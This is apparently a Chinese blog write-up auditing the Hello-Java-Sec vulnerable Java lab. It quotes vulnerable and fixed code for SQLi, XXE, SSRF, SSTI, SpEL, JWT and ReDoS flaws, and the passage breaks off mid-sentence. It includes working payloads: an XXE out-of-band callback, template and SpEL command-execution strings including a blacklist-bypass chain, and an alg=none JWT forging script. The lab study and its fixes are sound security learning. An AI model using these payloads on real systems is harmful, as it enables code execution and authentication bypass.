Hello-javasec靶场Java代码审计
Hello-javasec 代码审计
环境: https://github.com/j3ers3/Hello-Java-Sec
配置数据库,然后直接启动即可
这个项目是springboot搭建的
Swaggeer,Actuator未授权访问
在查看依赖时发现存在这两个依赖,遂查看相关配置
swagger的配置未做安全配置,actuator也是无配置导致未授权漏洞
安全代码:
@Configuration
@EnableSwagger2
// 设置swagger只能在dev和test环境可访问,如果开公网请一律关闭
@Profile({"dev", "test"})
public class Swagger2Config {
}
方案一、禁用接口 management.endpoints.enabled-by-default=false
方案二、只允许部分接口 management.endpoints.web.exposure.include=info,health
方案三、使用spring security加个认证
SQL注入
mapper的映射文件配置
mybatis.mapper-locations=classpath:mapper/*.xml
mybatis通过两种方式配置sql语句,注解或者映射文件,直接阅读所有sql语句,或者搜索$ {
例如上图的这句sql便存在sql注入可能
@Select("select * from users where user like '%${user}%'")
List<User> searchVul(String user);
则向上查找使用处,发现user是可以控制的,存在sql注入漏洞
成功闭合
接着找列数,5时报错,说明4列
http://10.82.189.40:8888/vulnapi/sqli/mybatis/vul/search?user=' order by 5 --+
显示位1,3,4
易出现sql注入的情况
@Select("select * from users where user like '%${user}%'")
List<User> searchVul(String user);
//正确写法
@Select("select * from users where user like CONCAT('%', #{user}, '%')")
List<User> searchSafe(@Param("user") String user);
// 使用 #{} 会产生报错,因此容易写成 ${}
@Select("select * from users order by ${field} ${sort}")
List<User> orderBy2(@Param("field") String field, @Param("sort") String sort);
Xss
- 反射型xss
设置xss拦截器,也没有对用户输入进行过滤,导致xss
@ApiOperation(value = "反射型XSS2", notes = "使用HttpServletResponse输出用户输入内容")
@GetMapping("/reflect2")
public void xssReflect2(String content, HttpServletResponse response) {
try {
// 修复方式设置ContentType类型:response.setContentType("text/plain;charset=utf-8");
response.getWriter().println(content);
response.getWriter().flush();
} catch (IOException e) {
e.printStackTrace();
}
}
修复:通过把响应内容类型设置为纯文本,浏览器不会对响应内容进行HTML或JavaScript解析,这样就避免了恶意脚本的执行
但是如果需要输出html格式这种方式就不行了,而是应该对输入做过滤处理
- 存储型xss
content可控,且未做过滤保存数据库
@ApiOperation(value = "vul: 存储型XSS", notes = "存储用户输入内容")
@PostMapping("/save")
public String save(HttpServletRequest request, HttpSession session) {
String content = request.getParameter("content");
SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String date = df.format(new Date());
String user = session.getAttribute("LoginUser").toString();
xssMapper.add(user, content, date);
log.info("[vul] 存储型XSS:{}", content);
return "success";
}
XXE
/**
* 审计的函数
* 1. XMLReader
* 2. SAXReader
* 3. DocumentBuilder
* 4. XMLStreamReader
* 5. SAXBuilder
* 6. SAXParser
* 7. SAXSource
* 8. TransformerFactory
* 9. SAXTransformerFactory
* 10. SchemaFactory
* 11. Unmarshaller
* 12. XPathExpression
*/
未禁用外部实体的一些xml解析器
@RequestMapping(value = "/XMLReader")
public String XMLReader(@RequestParam String content) {
try {
log.info("[vul] XMLReader: " + content);
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// 修复:禁用外部实体
// xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.parse(new InputSource(new StringReader(content)));
return "XMLReader XXE";
} catch (Exception e) {
return e.toString();
}
}
@ApiOperation(value = "vul:SAXBuilder", notes = "是一个JDOM解析器,能将路径中的XML文件解析为Document对象")
@RequestMapping(value = "/SAXReader")
public String SAXReader(@RequestParam String content) {
try {
SAXReader sax = new SAXReader();
// 修复:禁用外部实体
// sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
sax.read(new InputSource(new StringReader(content)));
return "SAXReader XXE";
} catch (Exception e) {
return e.toString();
}
}
@ApiOperation(value = "vul:DocumentBuilder类")
@RequestMapping(value = "/DocumentBuilder")
public String DocumentBuilder(@RequestParam String content) {
try {
// DocumentBuilderFactory是用于创建DOM模式的解析器对象,newInstance方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
StringReader sr = new StringReader(content);
InputSource is = new InputSource(sr);
Document document = builder.parse(is);
NodeList nodeList = document.getElementsByTagName("person");
Element element = (Element) nodeList.item(0);
return String.format("姓名: %s", element.getElementsByTagName("name").item(0).getFirstChild().getNodeValue());
} catch (Exception e) {
return e.toString();
}
}
@ApiOperation(value = "vul:Unmarshaller")
@RequestMapping(value = "/unmarshaller")
public String Unmarshaller(@RequestBody String content) {
try {
JAXBContext context = JAXBContext.newInstance(Student.class);
Unmarshaller unmarshaller = context.createUnmarshaller();
XMLInputFactory xif = XMLInputFactory.newFactory();
// 修复:禁用外部实体
// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
// 默认情况下在1.8版本上不能加载外部dtd文件,需要更改设置。
// xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);
// xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content));
Object o = unmarshaller.unmarshal(xsr);
log.info("[vul] Unmarshaller: " + content);
return o.toString();
} catch (Exception e) {
e.printStackTrace();
}
return "出错了!";
}
如XMLReader
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://fzimo2hy4plkv7lvq0na75480z6quoid.oastify.com">
]>
<test>%26xxe;</test>
&编码,不然会识别为连接符号
Xpath注入
和sql注入有点类似,本质一样,比较时参数可控导致构造语句
@ApiOperation(value = "vul: xpath 注入")
@GetMapping("/vul")
public String vul(@RequestParam("username") String username, @RequestParam("password") String password) {
try {
// 构造 XML 文档
Document doc = DocumentBuilderFactory.newInstance()
.newDocumentBuilder()
.parse(new InputSource(new StringReader("<users>"
+ "<user>"
+ "<username>admin</username>"
+ "<password>abc123123</password>"
+ "</user>"
+ "</users>")));
// 解析 XML 文档
XPath xpath = XPathFactory.newInstance().newXPath();
NodeList nodes = (NodeList) xpath.evaluate("/users/user[username='" + username + "' and password='" + password + "']", doc, XPathConstants.NODESET);
// 检查查询结果
if (nodes.getLength() > 0) {
// 用户名和密码验证通过 :)
log.info("[vul] xpath注入成功");
return "用户名和密码验证通过!";
} else {
// 用户名和密码验证失败 :(
log.info("[vul] xpath注入失败");
return "用户名或密码错误!";
}
} catch (Exception e) {
log.error("[vul] 发生异常:" + e.getMessage(), e);
return "发生异常:" + e.getMessage();
}
文件上传漏洞
代码很简单。仅仅检查了ContentType()可伪造,然后直接写入了
修复方式:白名单校验
private boolean isValidFileType(String fileName) {
String[] allowedTypes = {"jpg", "jpeg", "png", "gif", "bmp", "ico"};
String extension = StringUtils.getFilenameExtension(fileName);
if (extension != null) {
for (String allowedType : allowedTypes) {
if (allowedType.equalsIgnoreCase(extension)) {
return true;
}
}
}
return false;
}
目录遍历
任意文件下载以及任意路径遍历,完全没有做任何的过滤,所有可以通过../穿越下载任意的文件
@GetMapping("/download")
public String download(String filename, HttpServletResponse response) {
Map<String, String> m = new HashMap<>();
// 下载的文件路径
String filePath = System.getProperty("user.dir") + "/logs/" + filename;
log.info("[vul] 任意文件下载:{}", filePath);
try (InputStream inputStream = new BufferedInputStream(Files.newInputStream(Paths.get(filePath)))) {
response.setHeader("Content-Disposition", "attachment; filename=" + filename);
response.setContentLength((int) Files.size(Paths.get(filePath)));
response.setContentType("application/octet-stream");
// 使用 Apache Commons IO 库的工具方法将输入流中的数据拷贝到输出流中
IOUtils.copy(inputStream, response.getOutputStream());
log.info("文件 {} 下载成功,路径:{}", filename, filePath);
m.put("message", "success");
} catch (IOException e) {
m.put("message", "未找到文件");
}
m.put("filepath", filePath);
return JSON.toJSONString(m);
}
@ApiOperation(value = "vul:任意路径遍历")
@GetMapping("/list")
public String fileList(String filename) {
Map<String, String> m = new HashMap<>();
String filePath = System.getProperty("user.dir") + "/logs/" + filename;
log.info("[vul] 任意路径遍历:{}", filePath);
StringBuilder sb = new StringBuilder();
File f = new File(filePath);
File[] fs = f.listFiles();
if (fs != null) {
for (File ff : fs) {
sb.append(ff.getName()).append("<br>");
}
return sb.toString();
}
m.put("message", "目录不存在");
m.put("filepath", filePath);
return JSON.toJSONString(m);
}
安全:
对路径做了路径规范化处理../
String filePathSafe = Paths.get(filePath).normalize().toString();
或者黑名单
public static boolean checkTraversal(String content) {
return content.contains("..") || content.contains("/");
}
未授权
@Api("接口未授权")
@RestController
@RequestMapping("/vulnapi/unauth")
public class Unauth {
@GetMapping("/api/info")
public String vul() {
Map<String, String> m = new HashMap<>();
m.put("name", "zhangwei");
m.put("card", "130684199512173416");
return JSON.toJSONString(m);
}
}
拦截器放行了
url:file://D://1.txt
SSRF
/**
* 审计的函数
* 1. URL
* 2. HttpClient
* 3. OkHttpClient
* 4. HttpURLConnection
* 5. Socket
* 6. ImageIO
* 7. DriverManager.getConnection
* 8. SimpleDriverDataSource.getConnection
*/
ssrf的一些场景
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过 URL 地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过 URL 地址加载或下载图片
5.图片/文章收藏功能:主要其会取 URL 地址中 title 以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行 ssrf 测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的 url 进行一些信息采集工作
8.数据库内置功能:数据库的比如 mongodb 的 copyDatabase 函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如 ffpmg,ImageMagick,docx,pdf,xml 处理器等
11.未公开的 api 实现以及其他扩展调用 URL 的功能:可以利用 google 语法加上这些关键字去寻找 SSRF 漏洞
一些的 url 中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如 discuz!;import & expost rss feed 如 web blog;使用了 xml 引擎对象的地方如 wordpress xmlrpc.php)
@GetMapping("/URLConnection/vul")
public String URLConnection(String url) {
log.info("[vul] SSRF:" + url);
return HttpClientUtils.URLConnection(url);
}
// URLConnection类
public static String URLConnection(String url) {
try {
URL u = new URL(url);
URLConnection conn = u.openConnection();
// 通过getInputStream() 读取 URL 所引用的资源数据
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String content;
StringBuffer html = new StringBuffer();
while ((content = reader.readLine()) != null) {
html.append(content);
}
reader.close();
return html.toString();
} catch (Exception e) {
return e.getMessage();
}
}
我简单跟进了一下openConnection源码,然后window如下构造即可
一种绕过情形,两种判断方式写的很简单,http:或https:开头,以及127.0.0.2 ,192等内网地址判断,使用作者给出的两种方式可形成绕过
/**
* 短链接绕过:http://127.0.0.1:8888/SSRF/URLConnection/vul2?url=http://surl-8.cn/0
* ip进制绕过:http://127.0.0.1:8888/SSRF/URLConnection/vul2?url=http://168302434
*/
@ApiOperation(value = "vul:绕过")
@GetMapping("/URLConnection/vul2")
public String URLConnection2(String url) {
if (!Security.isHttp(url)) {
return "不允许非http协议!!!";
} else if (Security.isIntranet(Security.urltoIp(url))) {
return "不允许访问内网!!!";
} else {
return HttpClientUtils.URLConnection(url);
}
}
安全方法,更改为白名单的形式
@ApiOperation(value = "safe:白名单方式")
@GetMapping("/URLConnection/safe")
public String URLConnection3(String url) {
if (!Security.isHttp(url)) {
return "不允许非http/https协议!!!";
} else if (!Security.isWhite(url)) {
return "非可信域名!";
} else {
return HttpClientUtils.URLConnection(url);
}
}
public static boolean isWhite(String url) {
List<String> url_list = new ArrayList<String>();
url_list.add("baidu.com");
url_list.add("www.baidu.com");
url_list.add("oa.baidu.com");
// 从url转换host
URI uri = null;
try {
uri = new URI(url);
} catch (URISyntaxException e) {
System.out.print(e);
}
assert uri != null;
String host = uri.getHost().toLowerCase();
return url_list.contains(host);
}
baidu.com即为白名单的内容,我简单描述一下源码里面如何解析,先解析协议http:,然后判断//后的:前即为host,然后这又被白名单限制了,所以是安全的
public static String urltoIp(String url) {
try {
URI uri = new URI(url);
String host = uri.getHost().toLowerCase();
// 判断 URL 是否是 IP 地址
if (InetAddressUtils.isIPv4Address(host)) {
return host;
} else {
InetAddress ip = Inet4Address.getByName(host);
return ip.getHostAddress();
}
} catch (Exception e) {
return "127.0.0.1";
}
}
@ApiOperation(value = "safe:过滤方式")
@GetMapping("/HTTPURLConnection/safe")
public String HTTPURLConnection(String url) {
// 校验 url 是否以 http 或 https 开头
if (!Security.isHttp(url)) {
log.error("[HTTPURLConnection] 非法的 url 协议:" + url);
return "不允许非http/https协议!!!";
}
// 解析 url 为 IP 地址
String ip = Security.urltoIp(url);
log.info("[HTTPURLConnection] SSRF解析IP:" + ip);
// 校验 IP 是否为内网地址
if (Security.isIntranet(ip)) {
log.error("[HTTPURLConnection] 不允许访问内网:" + ip);
return "不允许访问内网!!!";
}
// 访问 url
try {
return HttpClientUtils.HTTPURLConnection(url);
} catch (Exception e) {
log.error("[HTTPURLConnection] 访问失败:" + e.getMessage());
return "访问失败,请稍后再试!!!";
}
}
}
另一种白名单的方式就是解析这个host转为ip,然后判断是否为内网地址
SSTI
java的模板注入,细节在这篇文章中记录过Java SSTI注入学习 - kudo4869 - 博客园,这里就直接找漏洞存在点
- 1.Thymeleaf - SSTI注入
视图污染导致片段表达式执行,其中存在spel注入
poc:
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
第一种情况,返回视图时存在参数可控则可导致ssti注入
@ApiOperation(value = "vul:thymeleaf模板注入")
@GetMapping("/thymeleaf/vul")
public String thymeleafVul(@RequestParam String lang) {
// 模板文件参数可控
return "lang/" + lang;
}
第二种情况
url path中的ssti注入,这种情况漏洞核心是不变的,都是在视图渲染时能够控制视图名称为恶意poc,导致渲染视图时执行片段表达式
@ApiOperation(value = "vul:url作为视图名")
@GetMapping("/doc/vul/{document}")
public void getDocument(@PathVariable String document) {
log.info("[vul] SSTI payload: {}", document);
}
- 2.FreeMarker - SSTI注入
这个模板的主要原理是创建模板时能导致命令执行,所以必须提供自己写模板的权力才能导致命令执行
如下则是可以写content进入模板中
@ApiOperation(value = "vul:freemarker模板注入")
@GetMapping("/freemarker/vul")
public String freemarkerVul(@RequestParam String file, @RequestParam String content, Model model, HttpServletRequest request) {
log.info("[vul] FreeMarker payload: {}", content);
if (checkTraversal(file)) {
model.addAttribute("error", "非法的文件路径!");
return "commons/404";
}
if (file.trim().isEmpty()) {
model.addAttribute("error", "文件名不能为空!");
return "commons/404";
}
if (content.trim().isEmpty()) {
model.addAttribute("error", "文件内容不能为空!");
return "commons/404";
}
String resourcePath = "templates/freemarker/" + file;
try (InputStream is = getClass().getClassLoader().getResourceAsStream(resourcePath)) {
if (is == null) {
model.addAttribute("error", "模板文件不存在!");
return "commons/404";
}
} catch (IOException e) {
log.error("关闭流失败", e);
}
if (request.getRequestURI().contains("/freemarker/vul")) {
// 如果访问的 URI 路径包含 /freemarker/vul 则使用不安全的解析器
conf.setNewBuiltinClassResolver(TemplateClassResolver.UNRESTRICTED_RESOLVER);
}
// 添加模板到 StringTemplateLoader,并禁用缓存和异常日志
stringTemplateLoader.putTemplate(file, content);
conf.setTemplateUpdateDelayMilliseconds(0);
conf.setLogTemplateExceptions(false);
return file.replace(".ftl", "");
}
预防:
将freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor过滤
Configuration cfg = new Configuration();
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:
1.UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。
2.SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。
3.ALLOWS_NOTHING_RESOLVER:不能解析任何类。
任何版本都需要进行安全添加,不然可能会造成ssti注入
- 3.Velocity - SSTI注入
这个和FreeMarker比较类似,加载模板整合数据
有两种情况的注入
第一种情况通过模板整合数据时数据可控且能通过Evaluate导致的命令执行
/**
* velocity 模板注入evaluate场景
*
* @poc http://127.0.0.1:8888/vulnapi/SSTI/velocity/evaluate/vul?username=%23set(%24e%3D%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22%2Cnull).invoke(null%2Cnull).exec(%22open%20-a%20Calculator%22)
*/
@ApiOperation(value = "vul:velocity模板注入evaluate场景")
@GetMapping("/velocity/evaluate/vul")
@ResponseBody
public String velocityEvaluateVul(@RequestParam(defaultValue = "Hello-Java-Sec") String username) {
String templateString = "Hello, " + username + " | phone: $phone, email: $email";
Velocity.init();
VelocityContext ctx = new VelocityContext();
ctx.put("phone", "012345678");
ctx.put("email", "xxx@xxx.com");
StringWriter out = new StringWriter();
Velocity.evaluate(ctx, out, "test", templateString);
return out.toString();
}
第二种情况和FreeMarker一致,通过控制模板导致的命令执行
/**
* velocity 模板注入merge场景
*
* @poc http://127.0.0.1:8888/vulnapi/SSTI/velocity/merge/vul?username=%23set(%24e%3D%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22%2Cnull).invoke(null%2Cnull).exec(%22open%20-a%20Calculator%22)
*/
@ApiOperation(value = "vul:velocity模板注入merge场景")
@GetMapping("/velocity/merge/vul")
@ResponseBody
public String velocityMergeVul(@RequestParam(defaultValue = "Hello-Java-Sec") String username) throws IOException, ParseException {
// 获取模板文件内容
BufferedReader bufferedReader = new BufferedReader(new FileReader(String.valueOf(Paths.get(this.getClass().getClassLoader().getResource("templates/velocity/merge.vm").toString().replace("file:", "")))));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line);
}
String templateString = stringBuilder.toString();
templateString = templateString.replace("<USERNAME>", username);
StringReader reader = new StringReader(templateString);
VelocityContext ctx = new VelocityContext();
ctx.put("name", "Hello-Java-Sec");
ctx.put("phone", "012345678");
ctx.put("email", "xxx@xxx.com");
StringWriter out = new StringWriter();
org.apache.velocity.Template template = new org.apache.velocity.Template();
RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));
template.setRuntimeServices(runtimeServices);
template.setData(node);
template.initDocument();
template.merge(ctx, out);
return out.toString();
}
Spring表达式注入
这个漏洞的核心点就是spel表达式执行参数可控导致的表达式执行任意代码,而如何实现rce便有很多重代码实现的方式
poc:
http://127.0.0.1:8888/vulnapi/SPEL/vul?ex=T(java.lang.Runtime).getRuntime.exec(%22calc%22)
@GetMapping("/vul")
public String vul1(String ex) {
ExpressionParser parser = new SpelExpressionParser();
// StandardEvaluationContext权限过大,可以执行任意代码,默认使用可以不指定
EvaluationContext evaluationContext = new StandardEvaluationContext();
Expression exp = parser.parseExpression(ex);
String result = exp.getValue(evaluationContext).toString();
log.info("[vul] SpEL");
return result;
}
黑名单过滤绕过:
这里使用正则对参数进行匹配
@GetMapping("/vul2")
public String vul2(String ex) throws Exception {
String[] black_list = {"java.+lang", "Runtime", "exec.*\\("};
for (String s : black_list) {
Matcher matcher = Pattern.compile(s).matcher(ex);
if (matcher.find()) {
return "黑名单过滤";
}
}
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(ex);
String result = exp.getValue().toString();
log.info("[vul] SpEL 黑名单绕过: " + ex);
return result;
}
这个绕过思路不难,但是写有一点麻烦
绕过思路:反射+字符串拼接 (这里利用反射的原因是将这些黑名单的关键字能以字符串的形式显示)
T(String).getClass().forName("java."+"l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String)).invoke(T(String).getClass().forName("java."+"l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),"calc")
完整url编码后
http://127.0.0.1:8888/vulnapi/SPEL/vul2?ex=T(String).getClass().forName(%22java.%22%2b%22l%22%2b%22ang.Ru%22%2b%22ntime%22).getMethod(%22ex%22%2b%22ec%22%2cT(String)).invoke(T(String).getClass().forName(%22java.%22%2b%22l%22%2b%22ang.Ru%22%2b%22ntime%22).getMethod(%22getRu%22%2b%22ntime%22).invoke(T(String).getClass().forName(%22java.l%22%2b%22ang.Ru%22%2b%22ntime%22))%2c%22calc%22)
更多细节看这个,不过他最后(反射+字符串拼接)的poc是错的
[奇安信攻防社区-Java安全]Spring SPEL注入总结&&回显技术
安全写法:
使用SimpleEvaluationContext限制
@GetMapping("/safe")
public String spelSafe(String ex) {
// SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Expression exp = parser.parseExpression(ex);
String result = exp.getValue(simpleContext).toString();
log.info("[safe] SpEL");
return result;
}
重定向漏洞
重定向漏洞(Open Redirect Vulnerability)是一种常见的 Web 安全漏洞,指攻击者通过构造恶意链接或参数,诱导用户点击后被跳转到不安全的第三方网站(如钓鱼网站、恶意软件分发站点等)的漏洞
漏洞的三种情况,spring环境下可以直接通过redirect:进行重定向。三种情况都是没有进行检查
poc:
http://127.0.0.1:8888/vulnapi/redirect/vul?url=https://www.baidu.com
安全代码:白名单检测
JWT漏洞
首先我通过自己的理解描述下jwt
首先比如服务端返回给客户端的身份信息,Cookie等,在客户端是可以被随意伪造的,导致了这是传给服务端后这是无法被认证的。
如何解决?
服务端返回给客户端这些信息时,通过某种算法加密这段信息info,且是通过服务端仅有的密钥加密,然后服务端返回这个sign签名和info
客户端接受到后如果更改jwt想要保护的信息,发给服务端,服务端把info同样经过密钥加密,对比sign如果不同代表更改,不信任,而客户端也无法更改sign因为没有密钥。最后发到服务端的信息是可被认证的,可信任的
demo:能描述上面的文字解释
-
Header
{ "typ": "JWT", "alg": "HS256" }
-
Payload
{ "iat": 1753355697, "exp": 1753442097, "username": "admin" }
-
Signature的生成,如以服务器唯一密钥secret为例
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload); var signature = HMACSHA256(encodedString, 'secret');
java中的使用
首先是创建一个JwtBuilder对象然后填入信息
@Test
void jwt(){
JwtBuilder jwtBuilder = Jwts.builder();
jwtBuilder.setHeaderParam("typ", "JWT");// header设置
jwtBuilder.setHeaderParam("alg", "HS256");// header设置 不过这个头主要是按照真正使用的加密算法
jwtBuilder.setIssuedAt(new Date()); //token的发布时间
jwtBuilder.setExpiration(new Date(System.currentTimeMillis() + 1000*60*60*24));//token过期时间
jwtBuilder.claim("username","admin");//payload设置
jwtBuilder.signWith(SignatureAlgorithm.HS256,"secret");//设置签名 参数一是加密算法 参数二是密钥
String token = jwtBuilder.compact();
System.out.println(token);
JwtParser parser = Jwts.parser();
Jws<Claims> claimsJws = parser.setSigningKey("secret").parseClaimsJws(token);
Claims claimsJwsBody = claimsJws.getBody();
System.out.println(claimsJwsBody); //{iat=1753366982, exp=1753453382, username=admin}
System.out.println(claimsJwsBody.get("username")); //admin
}
HS256 (带有 SHA-256 的 HMAC 是一种对称算法, 双方之间仅共享一个 密钥。由于使用相同的密钥生成签名和验证签名, 因此必须注意确保密钥不被泄密。
存在一下几种情况的漏洞
- 1.签名算法可以被改成none
将“alg”字段设为“ none”,签名会被清空,这样任何情况都是有效的
原jwt
通过将签名算法修改为none实现绕过签名
import jwt
headers = {"alg": "none", "typ": "JWT"}
payload = {
"user":"sid",
"level":"admin"
}
token = jwt.encode(payload, "",algorithm=None, headers=headers)
print(token)
生成的jwt被拦截了,后端可能对alg进行了黑名单校验
尝试通过None大写绕过,对第一段的headers重新编码,注意是Base64URL编码
成功修改权限
- 2.未校验签名算法
服务端并未校验JWT签名,可以尝试修改payload后然后直接请求token或者直接删除signature再次请求查看其是否还有效
删除sinature便可验证
-
3.信息泄露
包括jwt中payload部分可能存在密码泄露等
第二就是签名泄露
如你编写的是你想修改payload部分,而签名自然是错的,后端可能会返回对应这个payload正确的签名
然后使用返回正确的签名登陆即可修改为admin账户
- 4.算法混淆绕过
我觉得这种更少,场景很限制,所以只阐述了原理,遇到再实验把
上面的情况都是对称加密算法,这里简单描述一下非对称加密算法,如RS256
RS256 (采用SHA-256 的 RSA 签名) 是一种非对称算法, 它使用公共/私钥对: 标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。由于公钥 (与私钥相比) 不需要保护, 因此大多数标识提供方使其易于使用方获取和使用 (通常通过一个元数据URL)。
流程是服务器采用私钥对jwt进行加密保护。而公钥去进行解密认证。都是在服务都端进行的。 所以可以是服务端掌握私钥和公钥,客户端都无。但客户端有的几个好处是:1.本地初步验证 JWT 合法性客户端拿到 JWT 后, 可以使用公钥在本地直接对 JWT 进行验证。这能在请求发送到服务端之前,就快速判断出 JWT 是否被篡改或者已经过期等情况. 2.客户端持有公钥并能独立验证 JWT,增加了一层安全保障 3.实现离线功能支持 4.便于与其他服务交互。当客户端需要与多个后端服务交互,且这些服务都信任同一套 JWT 体系时,客户端可以凭借本地的公钥,在不同服务间自行验证 JWT
而这种漏洞存在的后端形式如下
可以支持对称和不对称两种算法,但是他们的公钥格式转化后相同
function verify(token, secretOrPublicKey){
algorithm = token.getAlgHeader(); // 获取JWT头部中的alg字段
if(algorithm == "RS256"){
// 使用提供的密钥作为RSA公钥
} else if (algorithm == "HS256"){
// 使用提供的密钥作为HMAC密钥
}
}
publicKey = <public-key-of-server>;
token = request.getCookie("session");
verify(token, publicKey); // 不管JWT使用的是什么算法,都传递固定的公钥
获取公钥的两种方法:
服务器有时会通过映射到 /jwks.json 或 /.well-known/jwks.json 的标准端点将其公钥公开为 JSON Web Key (JWK) 对象。这些可以存储在键值为 JWK的数组中(JWK 集)
得到两个有效的jwt,然后对其爆破能产生几个对应的公钥,其中会有正确的公钥
获取公钥后,将alg修改为HS256然后使用RSA256的公钥经过格式转化生成对应对称加密算法的公钥进行签名
细节:JAVA面试题分享五百二十五:JWT认证绕过的几种基操_jwt绕过-CSDN博客
靶场中的jwt存在弱密钥的问题
public class JWT {
Logger log = LoggerFactory.getLogger(JWT.class);
/**
* 读取Cookie,获取JWT中当前用户
*/
@GetMapping("/getName")
public String getNickname(@CookieValue("JWT_TOKEN") String jwt_cookie) {
String username = JwtUtils.getUsernameByJwt(jwt_cookie);
log.info("当前JWT用户是:{}", username);
return "当前JWT用户是:" + username;
}
}
首先验证headers必须必须使用HS256算法
public class JWT {
Logger log = LoggerFactory.getLogger(JWT.class);
/**
* 读取Cookie,获取JWT中当前用户
*/
@GetMapping("/getName")
public String getNickname(@CookieValue("JWT_TOKEN") String jwt_cookie) {
String username = JwtUtils.getUsernameByJwt(jwt_cookie);
log.info("当前JWT用户是:{}", username);
return "当前JWT用户是:" + username;
}
}
首先验证headers必须使用HS256算法
然后使用secret密钥计算正确的sign与给出的token进行比较,但由于这里的密钥为123456,弱密钥,可爆破密钥然后伪造
可以使用jwt_tool进行爆破,然后使用次签名伪造即可
XFF IP伪造漏洞
@ApiOperation("vul: XFF伪造")
@GetMapping("/vul")
public static String xffVul(HttpServletRequest request) {
Map<String, String> m = new HashMap<>();
String ip = (request.getHeader("X-Forwarded-For") != null) ? request.getHeader("X-Forwarded-For") : request.getRemoteAddr();
if (Objects.equals(ip, "127.0.0.1")) {
m.put("message", "success");
m.put("flag", "fd65cf072a93c93ad52b9f25b341e10b");
} else {
m.put("message", "只允许本地IP访问");
}
m.put("ip", ip);
return JSON.toJSONString(m);
}
通过请求头中的X-Forwarded-For获取IP地址,所以直接添加这个请求头即可伪造ip地址
DOS
第一种,正则表达式拒绝服务攻击。主要原因在于使用了具有回溯爆炸特性的正则表达式
poc也写在了注释中
重叠匹配
正则匹配流程分析:
这里使用的是+,贪婪匹配会尽可能多地匹配字符以及aa是包含a,重叠匹配分支,导致了漏洞
所以第一轮匹配到aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0aa也就是前面36个a会成功匹配(由于贪婪会优先匹配16个aa)(a|aa)+。在匹配到b时匹配错误导致回溯
回溯到15个aa+a再匹配b时又出现错误,导致回溯为14个aa+2a。直到出现32个a还是匹配不上后
会减去第一个a,匹配31个a再匹配b。导致指数级增长,随着a的长度
人可以肉眼可以一眼识别,但是正则匹配的流程是死的,在一些不正确用法中会出现缺陷。
这里的关键是:引擎必须扫描到b
才会发现匹配失败 —— 因为+
是贪婪量词,会强制引擎尝试匹配整个字符串,直到无法继续。所以b
是触发失败的 “信号”,而非回溯时主动带上的
另一种重复运算符重叠,因贪婪匹配和嵌套量词的特性产生大量回溯
如:(x+)*y
流程分析,如有15个x进行匹配。我们把x+看成内层,*看成外层, 代表0次以上.
首先 x+贪婪会匹配到15个x,到y时匹配错误,而*重复1次(x+),匹配不到y然后进行回溯
通过调整 (x+)*
的匹配方式,给 y
留出可匹配的字符(尽管实际没有 y
,但引擎会尝试所有可能)
外层只重复一次x+
第一次回溯:x+会匹配14个x,当然也是*只重复一次(x+),然后留下一个x匹配y,依然失败回溯
第二次回溯:x+匹配13个x,留下两个x匹配y,失败回溯
....
第十四次回溯: x+匹配1个x,留下14个x匹配y,失败
外层重复两次x+
第一个1x+
匹配14个x,第二个x+
匹配1个x,留下0个x匹配y,失败
第一个1x+
匹配13个x,第二个x+
匹配2个x,留下0个x匹配y,失败
...
指数级爆炸增长,则导致漏洞。嵌套量词:(x+)*
中,+
和 *
都是贪婪量词,且嵌套使用,导致匹配路径极多(每个 x
